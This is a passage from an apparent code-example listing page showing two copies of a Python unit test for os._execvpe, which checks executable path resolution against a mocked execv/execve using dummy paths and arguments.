                ('execve', native_fullpath, (arguments, env_path))) 
Example 38
Project: ouroboros   Author: pybee   File: test_os.py    (license) View Source Project 4 votes vote down vote up
def _test_internal_execvpe(self, test_type):
        program_path = os.sep + 'absolutepath'
        if test_type is bytes:
            program = b'executable'
            fullpath = os.path.join(os.fsencode(program_path), program)
            native_fullpath = fullpath
            arguments = [b'progname', 'arg1', 'arg2']
        else:
            program = 'executable'
            arguments = ['progname', 'arg1', 'arg2']
            fullpath = os.path.join(program_path, program)
            if os.name != "nt":
                native_fullpath = os.fsencode(fullpath)
            else:
                native_fullpath = fullpath
        env = {'spam': 'beans'}

        # test os._execvpe() with an absolute path
        with _execvpe_mockup() as calls:
            self.assertRaises(RuntimeError,
                os._execvpe, fullpath, arguments)
            self.assertEqual(len(calls), 1)
            self.assertEqual(calls[0], ('execv', fullpath, (arguments,)))

        # test os._execvpe() with a relative path:
        # os.get_exec_path() returns defpath
        with _execvpe_mockup(defpath=program_path) as calls:
            self.assertRaises(OSError,
                os._execvpe, program, arguments, env=env)
            self.assertEqual(len(calls), 1)
            self.assertSequenceEqual(calls[0],
                ('execve', native_fullpath, (arguments, env)))

        # test os._execvpe() with a relative path:
        # os.get_exec_path() reads the 'PATH' variable
        with _execvpe_mockup() as calls:
            env_path = env.copy()
            if test_type is bytes:
                env_path[b'PATH'] = program_path
            else:
                env_path['PATH'] = program_path
            self.assertRaises(OSError,
                os._execvpe, program, arguments, env=env_path)
            self.assertEqual(len(calls), 1)
            self.assertSequenceEqual(calls[0],
                ('execve', native_fullpath, (arguments, env_path))) 
Example 39
Project: kbe_server   Author: xiaohaoppy   File: test_os.py    (license) View Source Project 4 votes vote down vote up
def _test_internal_execvpe(self, test_type):
        program_path = os.sep + 'absolutepath'
        if test_type is bytes:
            program = b'executable'
            fullpath = os.path.join(os.fsencode(program_path), program)
            native_fullpath = fullpath
            arguments = [b'progname', 'arg1', 'arg2']
        else:
            program = 'executable'
            arguments = ['progname', 'arg1', 'arg2']
            fullpath = os.path.join(program_path, program)
            if os.name != "nt":
                native_fullpath = os.fsencode(fullpath)
            else:
                native_fullpath = fullpath
        env = {'spam': 'beans'}

        # test os._execvpe() with an absolute path
        with _execvpe_mockup() as calls:
            self.assertRaises(RuntimeError,
                os._execvpe, fullpath, arguments)
            self.assertEqual(len(calls), 1)
            self.assertEqual(calls[0], ('execv', fullpath, (arguments,)))

        # test os._execvpe() with a relative path:
        # os.get_exec_path() returns defpath
        with _execvpe_mockup(defpath=program_path) as calls:
            self.assertRaises(OSError,
                os._execvpe, program, arguments, env=env)
            self.assertEqual(len(calls), 1)
            self.assertSequenceEqual(calls[0],
                ('execve', native_fullpath, (arguments, env)))

        # test os._execvpe() with a relative path:
        # os.get_exec_path() reads the 'PATH' variable
        with _execvpe_mockup() as calls:
            env_path = env.copy()
            if test_type is bytes:
                env_path[b'PATH'] = program_path
            else:
                env_path['PATH'] = program_path
            self.assertRaises(OSError,
                os._execvpe, program, arguments, env=env_path)
            self.assertEqual(len(calls), 1)
            self.assertSequenceEqual(calls[0],
                ('execve', native_fullpath, (arguments, env_path)))